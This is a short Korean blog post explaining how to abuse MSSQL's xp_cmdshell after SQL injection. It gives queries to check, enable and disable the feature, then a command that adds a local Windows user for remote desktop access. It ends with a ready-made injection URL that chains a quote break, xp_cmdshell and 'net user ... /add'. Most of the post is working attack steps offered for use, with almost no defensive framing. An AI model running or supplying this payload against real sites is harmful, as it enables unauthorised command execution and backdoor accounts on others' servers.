Web

xp_cmdshell 활성화 쿼리

TaeSun1114 2018. 10. 1. 21:52

xp_cmdshell이란 mssql에서 운영체제 명령을 실행할 수 있도록하는 함수입니다.


mssql DB를 사용하는 페이지에서 SQL Injection이 발생할 경우 xp_cmdshell을 이용해 cmd명령을 실행할 수 있습니다.


다음쿼리를 이용해서 xp_cmdshell이 활성화 되어 있는지 확인할 수 있습니다.


SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell'

Value Column : 1 (활성화)

  0 (비활성화)


만약, xp_cmdshell이 비활성화되어 있다면 다음과 같은 쿼리를 이용해서 활성화시킬 수 있습니다.


EXEC sp_configure 'show advanced options', 1

GO


RECONFIGURE

GO


EXEC sp_configure 'xp_cmdshell', 1

GO


RECONFIGURE

GO


다시 비활성화하려면


EXEC sp_configure 'xp_cmdshell', 0

GO


RECONFIGURE

GO


EXEC sp_configure 'show advanced options', 0

GO


RECONFIGURE

GO


다음과 같이 입력해주면 됩니다.


대부분 xp_cmdshell이 가능할 경우 임의의 로컬계정을 생성하여 원격데스크탑접속을 시도하는 경우가 많으면 로컬계정을 생성하는 쿼리는 다음과 같습니다.


EXEC xp_cmdshell 'net user ID PW /add'


http://test.com?test=test';EXEC xp_cmdshell 'net user test test /add'--